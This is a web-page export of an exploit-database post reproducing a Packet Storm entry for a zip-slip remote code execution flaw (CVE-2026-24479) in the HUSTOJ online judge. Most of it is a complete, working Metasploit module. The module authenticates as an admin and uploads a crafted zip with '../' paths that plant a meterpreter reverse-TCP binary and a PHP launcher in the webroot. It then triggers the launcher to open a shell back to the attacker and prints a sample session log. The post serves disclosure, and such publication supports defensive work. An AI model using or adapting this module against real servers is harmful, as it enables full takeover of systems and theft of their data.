{"id":51612,"date":"2026-05-05T17:49:18","date_gmt":"2026-05-05T17:49:18","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=51612"},"modified":"2026-05-05T17:49:18","modified_gmt":"2026-05-05T17:49:18","slug":"hustoj-260124-zip-slip-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=51612","title":{"rendered":"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:27&#8243;,&#8221;description&#8221;:&#8221;HUSTOJ version 26.01.24 suffers from zip-slip remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220383&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-24479&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: HUSTOJ Zip-Slip v26.01.24 &#8211;  RCE\\n    # Date: 2026-02-14\\n    # Exploit Author: Marshall Whittaker \/ oxagast\\n    # Vendor Homepage: https:\/\/github.com\/zhblue\/hustoj\\n    # Software Link: http:\/\/123.158.38.129:8090\/livecd\/HUSTOJ25.05.iso\\n    (LiveCD, or see above git repo)\\n    # Version: Before v26.01.24\\n    # Tested on: Ubuntu\\n    # CVE:  CVE-2026-24479\\n    \\n    \\n    \\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    #       This payload is configured for:\\n    #       msfvenom -p linux\/x86\/meterpreter_reverse_tcp &#8211;format elf\\n    #\\n    #  Patch:\\n    #        $file_name = $path.zip_entry_name($dir_resource);\\n    #        $file_name=str_replace(&#8216;..\/&#8217;, &#8221;, $file_name);\\n    #        $file_path = substr($file_name,0,strrpos($file_name, \\&#8221;\/\\&#8221;));\\n    #\\n    # msf exploit(local\/test\/hustoj_problem_import_rce) \\u003e exploit\\n    # [*] Started reverse TCP handler on 10.0.1.35:4444\\n    # [*] Running automatic check (\\&#8221;set AutoCheck false\\&#8221; to disable)\\n    # [+] The target is vulnerable.\\n    # [+] Payload generated!\\n    # [*] Random payload tag is: 886b0 &#8230;\\n    # [+] Zip file generated!\\n    # [+] Connected to the target webserver!\\n    # [+] Logged in successfully!\\n    # [*] Checking if this account has administrative privileges&#8230;\\n    # [+] This is an admin account!\\n    # [*] Uploading the payload&#8230;\\n    # [+] Accessed the problem import page!\\n    # [+] Payload uploaded!&#8230;\\n    # [*] Waiting on files to be extracted serverside&#8230;\\n    # [*] This is where the zipslip happens&#8230;\\n    # [*] Triggering the php script&#8230;\\n    # [*] Meterpreter session 21 opened (10.0.1.35:4444 -\\u003e 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500\\n    # [*] Cleaning up the payload caller and shell files&#8230;\\n    # [+] Boom!! Have fun!\\n    #\\n    # meterpreter \\u003e\\n    #\\n    #\\n    require &#8216;msf\/core&#8217;\\n    require &#8216;nokogiri&#8217;\\n    require &#8216;digest\/md5&#8217;\\n    \\n    # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)\\n    class Metasploit3 \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n      def initialize(info = {})\\n        super(update_info(info,\\n                          &#8216;Name&#8217; =\\u003e &#8216;Authenticated admin can upload crafted zip file for RCE&#8217;,\\n                          &#8216;Description&#8217; =\\u003e \\u003c\\u003c~DESC,\\n                            A user with administrative privileges can abuse the problem_import_qduoj.php CGI script\\n                            using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the\\n                            webroot, where they can extract a PHP file containing a shell to get full RCE in the\\n                            context of the webserver.\\n                          DESC\\n                          &#8216;Author&#8217; =\\u003e [\\n                            &#8216;Marshall Whittaker&#8217;,\\n                            &#8216;LoTuS and friends&#8217;,\\n                            &#8216;ling101w&#8217;\\n                          ],\\n                          &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n                          &#8216;ARCH&#8217; =\\u003e [ARCH_X86],\\n                          &#8216;References&#8217; =\\u003e [\\n                            [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/oxagast\/oxasploits\/blob\/JoshuaJohnWard\/exploits&#8217; \\\\\\n                             &#8216;\/CVE-2026-24479\/hustoj_problem_import_rce.rb&#8217;],\\n                            [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/zhblue\/hustoj\/commit\/902bd09e6d0011fe89cd84d423&#8217; \\\\\\n                             &#8216;6899314b33101f&#8217;],\\n                            [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/zhblue\/hustoj\/security\/advisories\/GHSA-xmgg-2rw4-7fxj&#8217;],\\n                            [&#8216;CVE&#8217;, &#8216;2026-24479&#8217;],\\n                            [&#8216;CWE&#8217;, &#8217;22&#8217;]\\n                          ],\\n                          &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n                          &#8216;Targets&#8217; =\\u003e [\\n                            [\\n                              &#8216;HUSTOJ \\u003c v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)&#8217;,\\n                              { &#8216;Privileged&#8217; =\\u003e false }\\n                            ]\\n                          ],\\n                          &#8216;DefaultOptions&#8217; =\\u003e {\\n                            &#8216;PAYLOAD&#8217; =\\u003e &#8216;linux\/x86\/meterpreter_reverse_tcp&#8217;\\n                          },\\n                          &#8216;Notes&#8217; =\\u003e {\\n                            &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n                            &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n                            &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n                          },\\n                          &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-01-26&#8217;,\\n                          &#8216;DefaultTarget&#8217; =\\u003e 0))\\n        register_options(\\n          [\\n            Opt::RPORT(80),\\n            Opt::LPORT(4444),\\n            OptString.new(&#8216;RHOST&#8217;, [true, \\&#8221;The target machine&#8217;s IP\\&#8221;, &#8221;]),\\n            OptString.new(&#8216;LHOST&#8217;, [true, \\&#8221;This machine&#8217;s IP\\&#8221;, &#8221;]),\\n            OptString.new(&#8216;USERNAME&#8217;, [true, \\&#8221;The HUSTOJ administrative user&#8217;s username\\&#8221;, &#8216;admin&#8217;]),\\n            OptString.new(&#8216;PASSWORD&#8217;, [true, \\&#8221;The HUSTOJ administrative user&#8217;s password\\&#8221;, &#8221;]),\\n            OptString.new(&#8216;DropFile&#8217;, [true, &#8216;The name of the file to drop on the target (without extension)&#8217;, &#8216;msf&#8217;]),\\n            OptInt.new(&#8216;TRIGGER_WAIT&#8217;, [true, &#8216;Number of seconds to wait for shell call&#8217;, 2]),\\n            OptInt.new(&#8216;traverse_limit&#8217;, [true, &#8216;Number of ..\/ traversals to include in zip slip paths&#8217;, 6])\\n          ], self.class\\n        )\\n        register_advanced_options([\\n                                    OptBool.new(&#8216;HANDLER&#8217;,\\n                                                [true, &#8216;Start an exploit\/multi\/handler job to receive the connection&#8217;,\\n                                                 true])\\n                                  ])\\n        deregister_options(&#8216;VHOST&#8217;, &#8216;Proxies&#8217;, &#8216;RHOSTS&#8217;, &#8216;SSL&#8217;)\\n      end\\n    \\n      # Check if the target is likely vulnerable\\n      def check\\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e &#8216;\/include\/reinfo.js&#8217;,\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/javascript&#8217;\\n        )\\n        return Exploit::CheckCode::Unknown if res.nil?\\n        return Exploit::CheckCode::Appears if res.code != 200\\n        return Exploit::CheckCode::Detected if res.code == 200 \\u0026\\u0026\\n                                               res.body.include?(&#8216;function escapeHtml(str) {&#8216;)\\n        return Exploit::CheckCode::Vulnerable if res.code == 200 \\u0026\\u0026\\n                                                 !res.body.include?(&#8216;function escapeHtml(str) {&#8216;)\\n    \\n        Exploit::CheckCode::Safe\\n      end\\n    \\n      # Authenticate as admin and return session cookies\\n      def login(user, pass)\\n        res = send_request_cgi(\\n          {\\n            &#8216;uri&#8217; =\\u003e &#8216;\/&#8217;,\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;keep_cookies&#8217; =\\u003e true,\\n            &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;\\n          }, 3\\n        )\\n        if res \\u0026\\u0026 res.code == 200\\n          print_good(\\&#8221;Connected to the target webserver!         #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}\\&#8221;)\\n        else\\n          fail_with(\\n            Failure::Unreachable,\\n            &#8216;Failed to connect to the target webserver!&#8217;\\n          )\\n        end\\n        cook = res.get_cookies\\n        send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e &#8216;\/csrf.php&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;\\n        )\\n        send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e &#8216;\/loginpage.php&#8217;,\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;\\n        )\\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e &#8216;\/csrf.php&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;\\n        )\\n        doc = Nokogiri::HTML(res.body)\\n        csrf = doc.css(&#8216;input[name=\\&#8221;csrf\\&#8221;]&#8217;).first[&#8216;value&#8217;]\\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e &#8216;\/login.php&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;user_id&#8217; =\\u003e user,\\n            &#8216;password&#8217; =\\u003e Digest::MD5.hexdigest(pass),\\n            &#8216;csrf&#8217; =\\u003e csrf\\n          }\\n        )\\n    \\n        # Check if login was successful\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e &#8216;\/modifypage.php&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;userinfo.php&#8217;)\\n          stars = &#8216;*&#8217; * pass.length\\n          print_good(\\&#8221;Logged in successfully!                    #{user}:#{stars}\\&#8221;)\\n        else\\n          fail_with(\\n            Failure::BadConfig,\\n            &#8216;Failed to authenticate! Check credentials.&#8217;\\n          )\\n        end\\n    \\n        # Check if the account has admin privileges\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e &#8216;\/admin\/menu2.php&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;problem_import.php&#8217;)\\n          print_good(&#8216;This is an admin account!                  res.body includes problem_import.php&#8217;)\\n        else\\n          print_error(&#8216;This does not appear to be an admin account! Attempting to continue,&#8217;)\\n          print_error(&#8216;   but the exploit may fail at the payload upload stage&#8230;&#8217;)\\n        end\\n        cook\\n      end\\n    \\n      # Upload the malicious zip payload using the admin session\\n      def upload_payload(zip_dat, rand_tag, cook, dds)\\n        zip_size_kb = (zip_dat.length \/ 1024.0).round(2)\\n        print_status(\\&#8221;Uploading the payload&#8230;                   #{zip_size_kb}kb\\&#8221;)\\n        # Access the problem import page to get the postkey\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;uri&#8217; =\\u003e &#8216;\/admin\/problem_import.php&#8217;,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;\\n        )\\n        if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;problem_import_qduoj.php&#8217;)\\n          print_good(&#8216;Accessed the problem import page!          \/admin\/problem_import.php&#8217;)\\n        else\\n          fail_with(\\n            Failure::UnexpectedReply,\\n            &#8216;Failed to access the problem import page!&#8217;\\n          )\\n        end\\n        doc = Nokogiri::HTML(res.body)\\n        postkey_input = doc.at_css(&#8216;input[name=\\&#8221;postkey\\&#8221;]&#8217;)\\n        postkey = postkey_input ? postkey_input[&#8216;value&#8217;] : nil\\n        fail_with(Failure::UnexpectedReply, &#8216;Failed to retrieve the postkey!&#8217;) if postkey.nil? || postkey.empty?\\n        form_boundary = \\&#8221;&#8212;-WebKitFormBoundary#{rand_tag}\\&#8221;\\n        form_data = \\u003c\\u003c~FORMDATA\\n          &#8211;#{form_boundary}\\n          Content-Disposition: form-data; name=\\&#8221;fps\\&#8221;; filename=\\&#8221;#{datastore[&#8216;dropfile&#8217;]}.zip\\&#8221;\\n          Content-Type: application\/zip\\n    \\n          #{zip_dat}\\n          &#8211;#{form_boundary}\\n          Content-Disposition: form-data; name=postkey\\n    \\n          #{postkey}\\n          &#8211;#{form_boundary}&#8211;\\n        FORMDATA\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e &#8216;\/admin\/problem_import_qduoj.php&#8217;,\\n          &#8216;cookies&#8217; =\\u003e cook,\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{form_boundary}\\&#8221;,\\n          &#8216;data&#8217; =\\u003e form_data\\n        )\\n        if res \\u0026\\u0026 res.code == 200\\n          print_good(\\&#8221;Payload uploaded!                          #{datastore[&#8216;dropfile&#8217;]}.zip\\&#8221;)\\n        else\\n          print_error(&#8216;Failed to upload the payload, trying again for a different revision&#8230;&#8217;)\\n          form_data = \\u003c\\u003c~FORMDATA\\n            &#8211;#{form_boundary}\\n            Content-Disposition: form-data; name=\\&#8221;fps\\&#8221;; filename=\\&#8221;#{datastore[&#8216;dropfile&#8217;]}.zip\\&#8221;\\n            Content-Type: application\/zip\\n    \\n            #{zip_dat}\\n            &#8211;#{form_boundary}\\n          FORMDATA\\n          res = send_request_cgi(\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e &#8216;\/admin\/problem_import_qduoj.php&#8217;,\\n            &#8216;cookies&#8217; =\\u003e cook,\\n            &#8216;keep_cookies&#8217; =\\u003e true,\\n            &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{form_boundary}\\&#8221;,\\n            &#8216;data&#8217; =\\u003e form_data\\n          )\\n          if res \\u0026\\u0026 res.code == 200\\n            print_good(\\&#8221;Payload uploaded!           #{datastore[&#8216;dropfile&#8217;]}.zip\\&#8221;)\\n          else\\n            fail_with(Failure::UnexpectedReply, &#8216;Failed to upload the payload!&#8217;)\\n          end\\n        end\\n        print_status(\\&#8221;This is where the zipslip happens&#8230;       #{dds} (levels: #{datastore[&#8216;traverse_limit&#8217;]})\\&#8221;)\\n      end\\n    \\n      # Trigger the uploaded PHP shell to execute the payload\\n      def trigger_sploit(rand_tag)\\n        print_status(\\&#8221;Triggering the php script&#8230;               #{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}.php\\&#8221;)\\n        send_request_raw(\\n          {\\n            &#8216;uri&#8217; =\\u003e \\&#8221;\/#{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}.php\\&#8221;,\\n            &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;,\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n          },\\n          datastore[&#8216;TRIGGER_WAIT&#8217;]\\n        )\\n      end\\n    \\n      # Clean up dropped files after exploitation\\n      def cleanup\\n        super\\n        send_request_raw(\\n          {\\n            &#8216;uri&#8217; =\\u003e &#8216;\/cleanup-msf.php&#8217;,\\n            &#8216;ctype&#8217; =\\u003e &#8216;text\/html&#8217;,\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n          }\\n        )\\n        print_status(&#8216;Cleaning up the payload caller and shell files&#8230;&#8217;)\\n        print_good(&#8216;Boom!! Have fun!&#8217;) unless framework.sessions.length.zero?\\n      end\\n    \\n      # Main exploit logic\\n      def exploit\\n        # Generate the payload ELF binary\\n        pay = framework.modules.create(datastore[&#8216;payload&#8217;])\\n        pay.datastore[&#8216;LHOST&#8217;] = datastore[&#8216;LHOST&#8217;]\\n        pay.datastore[&#8216;RHOST&#8217;] = datastore[&#8216;RHOST&#8217;]\\n        pay.datastore[&#8216;LPORT&#8217;] = datastore[&#8216;LPORT&#8217;]\\n        shell_gend = pay.generate_simple({ &#8216;Format&#8217; =\\u003e &#8216;elf&#8217; })\\n        if shell_gend == &#8221;\\n          fail_with(\\n            Failure::PayloadFailed,\\n            &#8216;Payload generation failed!  Try a different payload?&#8217;\\n          )\\n        end\\n        print_good(\\&#8221;Payload generated!                         #{datastore[&#8216;payload&#8217;]}\\&#8221;)\\n    \\n        # Generate a random tag for file uniqueness\\n        rand_tag = &#8216;%05x&#8217; % rand(0xfffff + 1)\\n        print_status(\\&#8221;Random payload tag                         #{rand_tag}\\&#8221;)\\n    \\n        # PHP script to call the ELF payload\\n        shell_caller = \\&#8221;\\u003c?php chmod(&#8216;\/tmp\/#{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}&#8217;, 0700); system(&#8216;\/tmp\/#{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}&#8217;); ?\\u003e\\&#8221;\\n        # PHP script to clean up dropped files\\n        cleanup_caller =   \\&#8221;\\u003c?php unlink(&#8216;\/tmp\/#{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}&#8217;); unlink(&#8216;\/home\/judge\/src\/web\/#{datastore[&#8216;dropfile&#8217;]}\\&#8221; \\\\\\n                           \\&#8221;-#{rand_tag}.php&#8217;); unlink(&#8216;\/home\/judge\/src\/web\/cleanup-msf.php&#8217;); ?\\u003e\\&#8221;\\n        dds = &#8216;..\/&#8217; * datastore[&#8216;traverse_limit&#8217;] # Directory traversal string for zipslip\\n        # Files to include in the malicious zip (zipslip paths for traversal)\\n        files = [\\n          { data: shell_gend, fname: \\&#8221;#{dds}tmp\/#{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}\\&#8221; },\\n          { data: shell_caller, fname: \\&#8221;#{dds}home\/judge\/src\/web\/#{datastore[&#8216;dropfile&#8217;]}-#{rand_tag}.php\\&#8221; },\\n          { data: cleanup_caller, fname: \\&#8221;#{dds}home\/judge\/src\/web\/cleanup-msf.php\\&#8221; },\\n          { data: &#8216;{}&#8217;, fname: &#8216;problem_1010.json&#8217; },\\n          { data: &#8221;, fname: &#8216;problem_1010\/1.in&#8217; },\\n          { data: &#8221;, fname: &#8216;problem_1010\/1.out&#8217; }\\n        ]\\n        # Create the malicious zip archive\\n        zip_dat = Msf::Util::EXE.to_zip(files)\\n        fail_with(Failure::Unknown, &#8216;Zip generation failed!&#8217;) if zip_dat.empty?\\n        print_good(\\&#8221;Zip file generated!                        Files: #{files.length}\\&#8221;)\\n    \\n        # Authenticate and upload the payload\\n        cookies = login(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n        upload_payload(zip_dat, rand_tag, cookies, dds)\\n        # Trigger the PHP shell to execute the payload\\n        trigger_sploit(rand_tag)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220383&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220383\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:27&#8243;,&#8221;description&#8221;:&#8221;HUSTOJ version 26.01.24 suffers from zip-slip remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220383&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-24479&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: HUSTOJ Zip-Slip v26.01.24 &#8211; RCE\\n # Date:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-51612","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=51612\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-05T22:00:27&#8243;,&#8221;description&#8221;:&#8221;HUSTOJ version 26.01.24 suffers from zip-slip remote code execution vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220383&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-24479&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: HUSTOJ Zip-Slip v26.01.24 &#8211; RCEn # Date:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=51612\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-05T17:49:18+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383\",\"datePublished\":\"2026-05-05T17:49:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612\"},\"wordCount\":2224,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51612#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612\",\"name\":\"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-05T17:49:18+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51612\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51612#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution_PACKETSTORM:220383\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero 